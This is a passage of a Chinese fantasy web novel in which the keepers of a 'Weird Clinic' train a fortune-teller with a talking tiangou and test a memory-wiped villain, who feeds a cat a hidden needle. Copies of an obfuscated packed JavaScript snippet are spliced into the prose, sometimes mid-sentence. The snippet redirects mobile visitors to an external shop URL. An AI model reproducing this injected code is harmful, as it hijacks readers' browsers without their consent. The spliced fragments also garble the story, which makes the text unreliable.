莫辰根本不觉得自己是在加盟“怪奇诊所”,而是“怪奇诊所”不知道为何,送了他泼天的富贵。 这种从天而降好事的感觉让他感到不真实。 “是你之前说的,给人算运势的那个账号?”爷爷知道的还是他之前给人用塔罗牌算运势时候的事,他并不知道莫辰后来走歪的事。 “算,算是吧。”莫辰含糊不清,他虽然意识到自己的错误了,但仍旧不想把事情告诉爷爷。 “那这是好事啊,不过你这个什么塔罗牌,真的很准吗?”爷爷平时智能机用的不顺溜,不太了解这块信息,可他隔壁床的小姑娘经常和朋友聊起这些。 她就连自己什么时候能出院,都要在网上找个塔罗牌的互动视频看。 还不止看一个,现在大数据推送,她算了一个又算下一个,弄得病房里的旁人都多多少少对塔罗牌了解了一些。 莫辰的爷爷属于一知半解的状态,他相信命理,但对于国外的这个塔罗牌,是否真的有这么强的力量,他持保留态度。 “呃……应该有人算的很准吧。”莫辰苦笑一下,他其实只学了个皮毛,懂每张塔罗牌的含义,有那么一点儿的口舌功夫,能够把每张牌说得天花乱坠。 无论对方算什么,他都能联系起来。 可“怪奇诊所”是只算运势,不算别的,爱情、事业都不是它的业务范围,所以其实真正做塔罗牌的也不会记恨“怪奇诊所”,“怪奇诊所”影响不了他们。 可有些玄学同门就很恨“怪奇诊所”了,有了它,那些可能出现的怪事,甚至会威胁到生命的劫数,都会被化解,而且还只是用一百块钱这种低价就给人化解了。 这让他们每次化解生命劫数都要收取上万、甚至上百万、上千万的内行怎么做? 但这些内行大家这么久都没查出“怪奇诊所”的真正身份,也拿它没办法。 “师父,不能让‘怪奇诊所’再这样抢生意了,再这样下去,我们门派就要饿肚子了,到时候哪里还有钱去寻天材地宝突破升级?”某门派弟子非常着急,作为新生代,他时时刻刻关注着网上的消息。 “为师去会会他。”他的师父很重视“怪奇诊所”,打算亲自出马,以身入局。 当晚,莫辰从医院看完爷爷回家,就收到了一条奇怪的消息,那是一位演员给他发的私信。 他看了好几遍,才确认是官方认证,不是仿号。 那条私信描述了他在片场遇到的离奇事件,他一边怀疑是有人要故意害他,一边又觉得是不是拍摄地方的风水问题,所以想请他看一看,他之后会不会有生命危险。 这是一条非常明确的求救信,莫辰自然不敢和以前一样复制黏贴那些早就准备好的文稿糊弄人,他现在非常头大。 唯一想到的办法就是躺在床上,等“怪奇诊所”来认领他,把他带走去培训。 可他越想睡着越睡着,人就是这样,只有不想某件事的时候,才最有可能实现。 终于等到快凌晨五点,莫辰才迷迷瞪瞪要睡过去。 某个门派掌门人让自己的年轻弟子时刻关注网上动态,看看“怪奇诊所”如何反应,他专门让人找了位欠过门派人情的知名演员,让他发布了不实消息给“怪奇诊所”,他想探探“怪奇诊所”的底。 到底是虚有其名,还是真有点本事在身上。 可从白天等到黑夜,又从黑夜等到白天,他都没等到对方的回复。 “师父,听说‘怪奇诊所’很忙,会不会没看到?估计那个分所也很忙,要不再等等?”年轻弟子也颇感焦虑。 “再等等,如果还没回复,说明他解决不了这种棘手的事,那也就没必要被我们放在心上了。” 独孤尽根本不知道他只是起了个想要偷懒的心思,就牵动了这么多人的情绪。 “你打算让谁教他?”春渐满得知后,不赞同地看着独孤尽,之前让巢杉月参与到“怪奇诊所”的诊疗中就已经让他足够后悔了,现在独孤尽还要让普通人参与进来,就不怕给人带来严重后果吗? 像是猜到了春渐满在想什么,独孤尽安抚地轻拍他肩膀,“他的情况比较特殊。” “他能扛住,相信我们会有一个可靠的同伴。” “至于要让谁教他,自然是让天狗去教他,天狗本身就有趋吉避凶的能力,让天狗跟着他,即便没办法真的教会他什么,也能从旁帮助他,让那些咨询 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688935|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者逢凶化吉。” 春渐满还记得天狗那个孩子,其实天狗的岁数并不能称之为孩子,但他喜欢幻化成人形的小男孩,看着毛茸茸很可爱一只,当然毛茸茸的是脑袋。 “天狗能压住这个莫辰吗?他看起来不是善茬,以前还做过那种事。”春渐满还在耿耿于怀莫辰借用“怪奇诊所”名号招摇撞骗谋财的事。 “他谋财也是为了生计,我看过他的生平,除了这件事,没干过什么坏事,本质上不是个坏人,而且他在‘怪奇诊所’治疗时,表现出了惊人的意志力,适当引导一定是个人才。”独孤尽露出一副奸商的样子,他摸摸下巴,笑得开心。 “不过,我刚刚探知他的思维时,发现一个奇怪的私信。”独孤尽想到那个描述假信息的私信。 “应该又有人想探查我的底细了,估计觉得分所是个突破口。” 春渐满发现,只是一个简单的“怪奇诊所”,却面临着多重危机,不论是警方的调查,还是民间玄学门派的调查,又或是民众的好奇,以及不法分子的虎视眈眈。 他目光坚定地看着依旧懒散的独孤尽,忽然发现,可能这个男人从始至终都不是吊儿郎当的人,否则,他怎么可能面对多方势力应对自如。 “怎么这么看着我?”独孤尽摸摸自己的脸,又把手里的葡萄汁往春渐满面前送了送,“你想喝?” “果汁可以喝,酒以后就别喝了。” “放心,不会再在你这里耍酒疯了。”春渐满虽然不知道自己酒后都干了什么,但看到独孤尽唯恐避之不及的样子,多多少少也能猜到,估计是干了些不符合他平时形象的事。 甚至是能让独孤尽感到头疼的事。 况且,本来他也不该饮酒,那次是特殊情况。 “没有,只是觉得你的生存能力真的很强。”好像无论什么样的绝境对他来说都是船到桥头自然直。 “自然,不然还不得被这些神兽逼疯了。”独孤尽对此也非常骄傲。 这可能是他为数不多的优点了。 莫辰还不知道即将有一只天狗陪伴他左右,他现在眼睛里全是血丝,反复盯着手机上还在往上上涨的数字。 头一次知道了人红起来有多么恐怖。 “汪……汪汪……”忽然,他被放外叫声吸引了,那是小狗的呜咽,像是没奶喝的小狗崽子。 没多想,他翻身起床,打开门看了一眼,一时间什么也没瞧见,正他以为自己幻听,打算关门,就发现角落里有个纸箱,纸箱里放着一只奇怪的动物。 自从被“怪奇诊所”治疗过,他对于这种奇怪的生物已经见怪不怪了,只是觉得小家伙叫得可怜,本能地将它抱进了屋,外卖订了奶粉,给它养了起来。 天狗长得不似其他犬类,它看起来像只狸毛,脑袋上的毛发是白色的,额头上还有三条较宽的横纹。 它现在正扮作幼犬,可怜兮兮,试图看看这个人类够不够格当它的徒儿。 39. 明辨真假 天狗根本不挑食,它也不太清楚人类的小狗有些喝了牛奶是会拉肚子的,张着奶乎乎的小嘴咕咚咕咚就把奶喝光了。 莫辰以前在乡下连牛奶都没有,碰到小狗会找乡里刚产崽的大狗喂,但也有不凑巧的时候,就只能用米糊糊喂它。 现在的生活毕竟比以前好多了,他用奶粉冲泡着喂这个不知名的小东西喂到一半才想起来现在的科学喂养,上网搜了一下,赶忙观察小家伙都没有不舒服。 索性,天狗并不是凡狗,它喝的肚子滚圆,舒服地躺在地上,小肚皮跟个小山丘似的挺着,舒舒服服,非常惬意。 还怪可爱的。 莫辰看着小家伙拿出手机拍了张照片发给爷爷。 生活好像一下就向着好的方向开始发展,莫辰一夜未曾睡着也不再焦虑,反正他现在背靠“怪奇诊所”,实在解决不了损害的也不是他的名声。 想来,“怪奇诊所”是不可能不出手的。 只是他思来想去都没想到这个突然出现在门口的小家伙就是“怪奇诊所”派来的帮手。 好几天的时间,天狗都没帮莫辰什么忙,只是厚颜无耻地混着饭吃。 它现在反正是幼年体型,做这种事一点儿也不害臊。 倒不如说,它就是喜欢被人这般对待,才幻化成了这种形态。 这天莫辰正好好吃着饭,自己找了一些关于玄学方面的视频,一知半解在那看着,窝在他怀里的天狗突然打了个哈欠,发出了人言。 “可以了,为师觉得你天资聪敏,是可塑之才,快磕头吧。” 莫辰一开始以为是视频里的声音,他吃饭吃饭错过了什么情节,往回拉拉一下进度条,却没听到视频里传出这样的声音,倒是那个声音又出现了。 “还不速速行礼?” “再不行礼为师可就走了。” 莫辰一路寻着声音,惊奇地发现声音源自这只趴在他腿上的像小狗的小东西。 “你在说话?!”他的声音有些颤抖,但转念一想,也没什么可奇怪的,在“怪奇诊所”里他可是什么怪东西都见过了。 何况它长得真的很可爱,不能称为怪东西,哪怕它会说人话。 毕竟,就连现实中的鹦鹉都会说人话,可却没有人会觉得鹦鹉奇怪。 “刚说你聪敏,现在倒是愚钝起来了,难不成你好吃好喝供着为师不是为了学本事?”天狗扬起脖颈,颇有些傲娇地从鼻孔里哼出一声,不过由于它是幼年形态,这一声一点儿也不霸气,反而吹出了一个鼻涕泡。 莫辰有点手欠,下意识戳破了这个鼻涕泡泡,惹得天狗震怒。 “你敢不敬?!” “抱歉师父,就是……您有点太可爱了,您一直是这个形态吗?”莫辰已经在“怪奇诊所”中见过很多会变来变去的生物,他合理猜测自己怀里的这只也有这种能力。 “等你机缘到了,才能见到我的其他形态。”天狗张嘴在莫辰手上咬了一口,奈何它现在连牙都没长齐,咬起人来一点也不疼。 再加之,它也没真打算伤到这个乖徒儿。 “你附耳过来……”天狗神秘兮兮摆了两下自己的前爪。 肉乎乎的小爪子一点威慑力都没有,让人忍不住想把脸贴上去蹭一下,莫辰也不例外,只不过这回他忍住了,只是把耳朵贴了过去。 “为师要教你的第一招就是,识别真假。”天狗教起人来倒是有模有样。 虽然它的声音还是奶乎乎的,但起码内容全是干货。 “一件事的真假非常重要,你必须在一开始就判别出来,为师教你,就像这次你收到了这么多咨询单,其中有的把自己的困境写的很详细,这些人里有一些是捏造的故事,有一些是真实的经历。” “假的和真的是可以识别的,它们感知起来是不一样的质感。”天狗用自己的两只前爪比划一番,又把它肉乎乎的爪子贴在莫辰脸颊上。 “像这样,你感觉一下,我说我说天下第一时你能感受到的气息,和我说我不是天下第一时你感受到的气息。” 莫辰这会儿也认真起来了,没再把自己怀里的这个小家伙当成软萌的宠物,他闭上眼睛,努力去感知。 他能出察觉到一些细微的不同,但却不能够明确分辨其区别。 “我们实战教学,边教边帮你把单结了。”天狗换了个姿势,它团了团身子,坐在莫辰怀里,脑袋往他手机上凑。 莫辰立马把自己手机里的咨询单找出来给自己这个小师父看。 “你看这单,是个小女孩,说她经常被父母痛骂,她想离家出走去朋友那,想知道前路如何,运势怎么样。来你感知一下,这是一种什么样的感觉?”天狗说这段的时候脸上没什么表情,生怕影响莫辰的感知。 莫辰把这段文字又重新看了一遍,脸上情绪变换得极快,他张了张嘴,“有一种痛苦的感觉如丝如缕地纠缠着我。” “挺难过的是不是?”天狗安抚地拍了拍乖徒弟,又示意他往下翻咨询单。 “你再看这条……” 莫辰看到那条演员在片场遇到怪事的单立刻来了精神,“师父,这单该怎么破?我很怕他们真的碰到了什么,会受到极大的伤害。” 莫辰不敢胡乱揣测生死,只是害怕。 “你好好感知一下。”天狗凑过去看了一眼,继续不慌不忙地引导。 莫辰再次阅读这段留言,他越读越平静,甚至为自己的平静感到可怕。 人命关天的事,他怎么心里一点波动也没了。 “感觉出来了吗?说给为师听听。”天狗的嘴角忍不住想往上翘,他的这个徒儿确实有点天赋在身上。 莫辰迟疑了片刻,还是准备实话实说,“我一开始有点害怕的感觉,后面就平静了。” “师父,我是不是太冷漠了?” “你冷漠个啥,不是感知出来了吗?那些人的恶意让你本能感知到了害怕与不适,而这些信息都是假的,你自然越读越平静。”天狗又哼了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688936|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,它一爪子拍在莫辰的手机上,直接把这位知名演员给拉黑了。 “就这样拉黑了?”莫辰有点儿害怕得罪人,尤其是影响力大的人。 “你连‘怪奇诊所’都不怕得罪,还怕得罪这种人?”天狗被派过来时自然听说了莫辰的壮举,也正是如此,它才会变成小狗来试探莫辰的秉性。 如果真是铁石心肠的人,它也教不了。 感知是一种很需要天赋的能力,这不是靠理论就能做到的,它太过虚无缥缈,很多人天生就没这种能力。 “咳,那就拉黑了吧。”莫辰有些尴尬,确实,比起粉丝量,“怪奇诊所”的热度可比这位演员要高太多了。 “有点明白这种感觉了吗?为师看着你,来,再多练练。”天狗目光炯炯盯着莫辰。 莫辰颇感压力,但有这么好的师父,他以后不用担心自己该怎么保质保量完成这些单子了。 这也就意味着,他彻底脱贫致富了,以后很长一段时间都不用为生计烦恼了。 莫辰的心情极好,恨不得跟自己的所有朋友都分享这件好事,但天狗这次狠狠咬了他一口。 虽然天狗没长全牙齿,但它毕竟功力深厚,莫辰的手见了血。 “啊!”莫辰被咬醒了,他吃痛地捂着手。 “想要判断真假,必须保持平常心,不能带有自己的个人情绪,你之前一直都做得很好,怎么现在飘起来了?!” “对不起师父,我就是太高兴了,我调整一下情绪。”莫辰悟了一些,他甩甩手,也没管这点小伤,继续往下看咨询单。 每次说出自己的判断后,天狗都会告知他确切的情况,逐渐,自信心涨起来,也越来越有判断力。 独孤尽很快就得到了天狗的正向回馈,他舒心地跟春渐满分享这件好事,以及,他还有另一件好事要跟春渐满说。 “你想好怎么诊治罗学倾了?”春渐满一度以为独孤尽要把罗学倾的魂魄囚到失去自我意识,再让他按照他们教的,一板一眼去自首。 “当然,我是谁啊,总能想到办法治他。”独孤尽指尖亮出一团白光,那是一个小瓶,里面是被他囚起来的罗学倾。 “你那边怎么说?”罗学倾的神魂被他囚着,相比外界的他浑浑噩噩,根本没法正常与人交流。 他很怕这点被罗家人钻了空子,到时候弄个保外就医,他们可就白费功夫了。 “放心,罗学倾能自己承认罪证最好,他要是没法承认,我们的证据链也已经收集完整移交上去了。”春渐满想到了另外一件事,有些迟疑,最终还是跟独孤尽开了口。 “就是……罗家的状态不对劲,像是放弃了他们这个最宝贝的继承人,对罗学倾是不闻不问,人都找不到。” “他们不是没动静,他们一直在暗中找玄门想从中做手脚,被我半路拦截了。”独孤尽伸出手指掰了掰,“每天起码想给玄门送五十次消息,他们没有半点悔过,只想通过特殊手段保住被他们惯坏的宝贝孩子。” 40. 从一开始就定性了 春渐满看着眼前一片虚无的空间,长长叹出一口气。 “有些人从始至终都不会有悔改之意,我们只要把自己该做的做到位就行了。” “我也是这个意思,所以给罗学倾重新设计了一个诊疗环境。”独孤尽轻点脑袋,他转了转手腕,把指尖捏着的那只透明瓶子往外倾倒。 罗学倾的神魂如云雾一般飘出来,汇聚成人的形态。 在他开口之前,独孤尽直接剥夺了他的记忆。 “让他重新生长一遍,如果还是长歪了,那也没办法了。”独孤尽指尖轻弹,周围景色变换。 这次他要扮演的是罗学倾的父亲,而春渐满则被他捏成了母亲的形象。 “……咱俩能不能换换?”春渐满觉得自己还真没敬业到这种程度。 “嗯……我当母亲也可以。”独孤尽没并没有回绝春渐满,反倒是真的思考起这样效果会不会打折扣。 春渐满又想象了一下独孤尽男扮女装的样子,最后决定还是牺牲一下自己吧。 否则他怕辣眼睛。 “我跟你讲一下整体的构思,我们俩作为他的父母,从小给他灌输的都是助人为乐的正向思想,晚点再弄一些事件,看看他在这种环境里长大,观点能不能改变。” “这么阳光和谐?”春渐满不敢想这种温暖的基调会出现在“怪奇诊所”。 “也和谐不到哪里去,后面还是会有严重案件安排在他身上,有助于之后他回复记忆时连接这段美好的人格。”独孤尽设想了一个美好的未来,却不知道自己的实验是否会有好结果。 尽管说,做什么都是过程最重要,就像人生,最终的结局都逃不了一死,但是过程却因人而异,有的人过成什么样都能沉浸其中,享受不一样的,而有的人遇到什么都愁眉苦脸,什么也享受不了。 他就是那个不太享受过程的,他只希望最后的诊疗结果是好的。 很快,被抹去了记忆的罗学倾重新苏醒,他迷茫地从床上醒来。 他按照本能完成穿衣洗漱,在镜子里看到了小小的自己。 那是一种异样的违和感,可真要他说出到底是哪里不对劲,他又说不出来。 “爸、妈,今天是几号?要上学吗?” 独孤尽及其不想要这种孩子,他用胳膊肘推了推春渐满,春渐满也一脸苦色。 他也不想应声。 “都已经放暑假了,日子过糊涂啦?”最终还是独孤尽先应的声。 他手里提着一沓“五三”甩到罗学倾的床上,笑得特别和蔼,“这是你之前跟爸爸要的礼物,爸爸可没食言,到处搜罗才给你把这些卷子找来。” “……”罗学倾沉默地看着床上厚厚一沓试卷,伸手翻了一下。 “这真的是我自己要的礼物?”他不敢置信。 “当然了,我们家是快乐教育,本来打算暑假带你出去玩,没想到你在放假前特别认真跟我提出了这个要求,那做爸爸的,怎么也要满足你不是。”独孤尽拍拍自己的胸脯,一副自己说话算话的样子。 “爸……我要是说我不想……”罗学倾的话还没说完,就会独孤尽打断了,“爸爸知道你好学,但是也不能闷头一直学,等你把你想做的卷子做完,我们一定要出去散散心,就算你不想出去也不行,乖。” “……好吧。”罗学倾被赌得哑口无言,他想不起来之前的一些事情了,尤其是这个自己要求做卷子的事情,怎么也不像他能提得出来的。 他总觉得自己是那种不爱学习的,可他的父母也没必要骗他啊。 罗学倾开始对着试题奋斗,独孤尽则跟春渐满使了个眼色,两人用了隔绝声音的术法。 “现在看起来他也就是个正常学生,到底是什么让他有了那样扭曲的心理?把别人的生命践踏在地上玩弄。”春渐满想到他了解到的那些受害者的情况,就忍不住想把罗学倾大卸八块。 “我没从他的记忆里见到什么特殊事件,像是突然之间,他就有了这种念头,并且付诸于行动。”独孤尽也有些费解。 但有些人,生来就是恶的,他们现在要辨别的就是罗学倾是不是这种人。 罗学倾显然不太会做这些试卷,他翻了几下就找到了试卷末页的答案,把答案抄过去,再随便写几行过程就算完成了。 一连写了十几页,罗学倾推门而出,他想出去散个步。 他不该是那种在家一天都写作业的人,他就应该在户外做着什么。 做着什么…… 他该做些什么,怎么一点儿也想不起来。 罗学倾吃痛地捂住脑袋,里面好像有什么被封存的想要逃出桎梏,可奈何桎梏来过牢靠,根本逃不出来。 罗学倾疼得快晕过去了,才放弃去想那些丢失的记忆。 “到底忘了什么?谁敢对我下黑手,我必定要让他好看!”罗学倾恶狠狠地从牙缝里挤出这句话。 “我家可不是吃素的!”罗学倾被自己下意识的话惊了一下,他刚刚看了,自己家并不是金窝窝。 春渐满有些担心地看着罗学倾的情况,“你是不是没把他的记忆清洗干净?等等就该全都想起来了。” “我封印的非常彻底,不存在这种可能性,也许是他心底的恶在催化这一切。”独孤尽轻摇脑袋,他及时出现,走进罗学倾的房间,打断罗学倾那些可怖的思维。 “学倾,做题做累了吧,该吃饭了,洗洗手。” 罗学倾蹙着眉头,他还是觉得哪里不对劲,他不该吃这么普通的饭。 餐桌上有的是再寻常不过的家常菜,可即便如此,一家三口吃五菜一汤也挺丰盛的了。 “爸、妈,有件事要告诉你们。”罗学倾似是想到什么,他撩下筷子,“我并不喜欢学习,你们要是打算带我出去玩,一定不能食言。” “你不喜欢学习?学倾,你是不是哪里不舒服?第一次听你这么说,不过,爸妈永远尊重你的选择。”独孤尽这回演得很好,因为他也发现罗学倾太不受控制了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688937|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 春渐满猛地把将独孤尽拉到厨房,再次进行二人小组讨论,“换场景,加速,不然他真要突破禁制苏醒过来了。” “行,换个需要正义人士的场景看看他怎么做。”独孤尽打了个响指,让罗学倾迷迷瞪瞪睡着,重新把周围和谐的家庭环境变成了户外逼仄的小巷。 “哟,长挺标致,大晚上出来不安全,哥哥送你回去啊。”独孤尽正一把掐着春渐满的脖颈,及其暧昧地凑在春渐满耳边说话。 虽然是凑在耳边,声音却大得谁路过都能听得一清二楚。 苏醒过来的罗学倾正好就在附近,他茫然地朝前走了没两步就听到了这些声音。 他拿出手机,打开摄像头,对着巷子拍摄起来。 此刻的春渐满急了,“怎么办?他为什么要拍这些,是为了保存证据吗?” “不清楚,再看一会儿,你再反抗得真一点,我要用力了。”独孤尽掐着春渐满的脖颈,将人撞到墙上,故意把动静弄得很大。 “不!救命!救命!”春渐满掐着嗓子喊起来,喊到一半他想起来自己的形象已经被独孤尽变成了女子,他根本不用夹着嗓子,正常说话就是女声。 “你要什么我都给你,别对我这样!”春渐满尽量让自己看起来痛苦,毕竟他脖子上的那只手一直控制着力道,完全没勒到他,他只能全靠自己的演技。 偏偏他的演技也不太好,只能靠着发声求救来弥补他的演技缺陷。 “啧,怎么还不动手?”罗学倾不耐烦地看着手机屏幕里几乎卡住的画面。 他抬头往里看了看,才发现是那两人到现在也没进行到下一步。 “证据也该收集够了吧,他怎么还不报警?”春渐满仰得脖子都有点酸了,他吃力地低声提醒独孤尽,“做戏还是要逼真点,不然被他发现端倪就白演了。” “那你别喊疼。”独孤尽倒是觉得不用再看罗学倾是否有心向善了,他的表现已经很明显了,见到需要见义勇为的事件,他既不慌乱也不害怕,反而要作为犯罪者,参与事件。 春渐满的双手被独孤尽扣在一起举过头顶,这次独孤尽用了点力气,甚至模拟了某些行为的起伏。 春渐满也配合地一直叫救命,他的声音略带沙哑,让人闻之于心不忍。 但罗学倾就特别忍心,拍了一会儿,他把手机转了一面,仔细检查了画面才从小巷走开,回到家里。 “走吧,抓现行。” “抓到了要怎么教育他?”春渐满还记得他们原先的温暖企划呢。 “自然是让他知道下次碰到这种情况,他应该见义勇为,哪怕只是在外围打个报警电话也可以。”独孤尽说出的话再次让春渐满震惊。 “说了要好好教育,我可不会食言。”独孤尽拉着春渐满消失在小巷子里,下一秒回到家里。 要教育一个心智已经变坏的人,难上加难。 独孤尽深呼了一口气,打开罗学倾的房门,也打断了正在邪恶大笑的罗学倾。 41. 小泥猫 “哟儿子,碰着什么好事了,这么开心?”独孤尽作势要夺过罗学倾的手机,却被他躲过。 “没什么。”罗学倾敛了笑意,关上手机,重新打开他的练习卷。 “不能这么一味闷头学习,偶尔也要看看手机休息一下。” “知道了。”罗学倾闷声答应,却没有当着独孤尽的面重新打开手机,他拿着笔随意在练习卷上划拉,心不在焉写着题。 “你不是一直喜欢猫吗,过两天爸爸送你一只猫。” “我喜欢猫?”罗学倾一头雾水,他觉得自己绝不会喜欢猫那种弱小的生物,不过……给他养的话,倒是可以让他解解压。 独孤尽察觉到罗学倾不怀好意的眼神,心里更加沉重。 他离开罗学倾的房间,走进主卧,跟春渐满碰头。 “别说同理心了,他就是爱凌虐弱小,我要捏一只猫给他,只要他敢对猫做什么坏事,会同等反噬到他自己身上。”独孤尽气恼至极,脸上却没太显现,只是手下捏的泥猫有点不成样子。 春渐满看着被独孤尽捏成一团四不像的,据说是泥猫的东西,嘴角抽了抽,他伸手从独孤尽那接过小猫,用了巧劲揉搓了几下,小猫的脑袋总算变圆了,身子也鼓鼓的。 “你刚刚捏的那是鲳鱼,根本不是小猫。”春渐满见着手里逐渐成型,并且越来越可爱的小猫,松了口气。 如果小猫长成独孤尽刚刚捏成的那样,可能一般人看到都要当成妖怪把它打出去咧。 独孤尽重新把小猫从春渐满的手中接回来,刚想用手指戳戳小猫的脸,就被春渐满按住了,“可别再戳了,你那么用力,等等小猫的脸颊就凹陷一块,怪吓人的。” 独孤尽在小猫额头轻触了一下,一团白光涌入,泥猫瞬间变成了毛很顺滑的小黑猫,“这样就能戳了。” 这回春渐满没阻止独孤尽的手,不过会动的小猫可就没那么好脾气了,它张嘴就对着独孤尽的手指咬了一口。 奶乎乎的牙齿只留下了一点印记,并没有把手指咬破。 “真有人能对着这么可爱的生物下狠手吗?”独孤尽轻抚着小黑猫柔软的毛发,一会儿捏捏它的粉爪子,一会儿贴近了亲一口。 “我都不想让你把它送进去给罗学倾了,到时候小猫肯定很惨。”虽然知道小猫只是独孤尽用术法变出来的,但即便如此,心也是软的,狠不下来的。 “那就以一对十吧,他但凡伤害小猫一下,就在他自己身上反噬十倍。”独孤尽也不希望小猫受到残忍的对待。 两天时间过去的很快,这两天里,罗学倾看起来很乖,每天都在刷题,但能独孤尽能全方位看到他的动态,知道他实际上很少做题,反而在手机上搜索一些非法视频。 他似乎对于血腥暴力很感兴趣,越是法外的事件越让他热血沸腾。 独孤尽的心也凉得不行了,他觉得感化教育估计没用,就是不知道小猫能不能让他获得一点感同身受的感觉。 独孤尽是用一种极其沉重的心情把小猫交到罗学倾手上的,可脸上还得露出慈父的笑容。 “哇!小猫真的很可爱!是我喜欢的!”罗学倾这会儿像个孩子一样,露出惊喜的表情,眼神里似乎透露出纯粹的喜悦。 可独孤尽仍旧没有掉以轻心,他一本正经地嘱咐,“既然养了它就要对它负责,要了解它喜欢什么,什么是对它好的,可不能随自己性子乱来。” “好,放心吧,我一定好好养。”罗学倾满口答应,他抱着小猫进了自己的卧室。 “……我汗毛全立起来了。”春渐满指了指自己的胳膊,如果罗学倾的表情冷漠点,或者邪恶点,他还觉得正常,可罗学倾露出那么天真无邪的笑,如果他还做着恶事,那就太恐怖了。 “说不定,他真的喜欢猫呢?”独孤尽尽量放缓呼吸,他也需要好好调整一下,接下来他将继续用全视角观察罗学倾的一举一动。 罗学倾确实喜欢这只天降的小猫,他找了纸箱给小猫做了个窝,在里面铺上他的旧衣服,又给小猫找了碗,接了干净的水喂它。 就连晚上睡觉,都要搂着小猫一起睡,小猫也乖得出奇,丝毫没有在独孤尽身边时那种张牙舞爪的状态。 “这还是我们的小猫吗?这么乖的?”独孤尽很疑惑,他的手指上现在还残留着被咬出的红印。 “倒不如说,这还是罗学倾吗?他真喜欢猫?”春渐满不敢置信,如果罗学倾真能对一只猫做到这种地步,是不是就说明他心里还残留着一点良善。 他们又观察了两天,就在他们放下戒心,准备用另外的方法进一步教化罗学倾时,罗学倾在房间里发出了凄厉的惨叫。 这种叫声绝不寻常,一定是他对小猫做了什么,十倍反噬到自己身上了。 独孤尽第一时间踹开了门,小猫正瘫软在地上抽搐,嘴角不断有鲜血往外溢。 “你干了什么?!”春渐满踹了一脚同样痛苦地蜷缩在地上满头冷汗的罗学倾。 “啊啊……啊……”罗学倾已经说不出话了,他双手掐着自己的脖子,一只手还想往自己喉咙深处掏什么。 “去医院。”独孤尽当机立断把小猫抱出了房间,他找了个地方将那抹白光从小猫身体里抽离,很快小猫变成了泥猫。 他小心地检查了一下泥猫,从猫的脖子处发现了一根断掉的银针。 应该是混在食物里喂的,且看这针的断口,绝对是人为剪短的,就为了混在食物里让猫误食。 独孤尽叹了口气,他的教化实验很失败,罗学倾是从根本上就坏了的人,没法规劝。 猫这边是不痛苦了,可加注在罗学倾身上的十倍反噬却没那么容易消失,可以说,只要独孤尽不帮他解除,罗学倾就会一直这样痛苦下去,且痛苦累积后,就不止十倍了。 春渐满仍不解恨,他又踹了罗学倾几脚才假装关切,把罗学倾从地上拖起来,“儿子,你怎么了,快告诉妈妈,你爸爸去发动汽车了,你还走得动吗?我们去医院。” 趁乱,春渐满又用力掐了罗学倾好几下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688938|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要想到这个可恶的人渣对那么可爱的小猫也能下毒手,他就恨不得他立马受到法律的制裁。 但按照独孤尽的说法,他的家族至今还在帮他找后门,想要将他绳之以法,真的困难重重。 尤其,他是这种纯恶状态,也不存在除他自己之外的独特信仰,要让他自己承认错误,简直天方夜谭。 “啊——”罗学倾仍旧说不出话,他疼得只要动一下,就一身汗,包括不由自主地吞咽动作。 怎么会这样? 究竟是哪里出了错? 他明明把针混在了猫食里,他也没有误食猫食,怎么会是他被针卡住了喉咙?! 那只猫呢?一定是那只猫在捣鬼! 他要把那只猫碎尸万段! 是他爸爸送他的这只猫,都是他爸爸!他要把他爸爸碎尸万段! 都害他!都在害他! 罗学倾红着一双眼,活像从地狱里刚爬出来的修罗,他不分青红皂白想要掐住春渐满的脖子,却被春渐满灵活地躲开。 春渐满嫌恶地看了一眼失去他支撑的罗学倾像只跳蚤一样在地上疼得乱抽抽。 独孤尽安顿好泥猫,走进房间,把摔在地上的罗学倾扯起来,一路拖到车上,将他送进了医院。 春渐满随车坐在副驾驶上,嘴抿成了一条线,他耳朵疼,那个人渣叫得太难听了。 独孤尽像是感受到了春渐满的烦躁气闷,抬手在他耳边轻撩了一下,一阵舒缓的风掠过耳畔,隔绝了难听的叫唤,取而代之的是山林间泉水淙淙撞击山石的清脆声音。 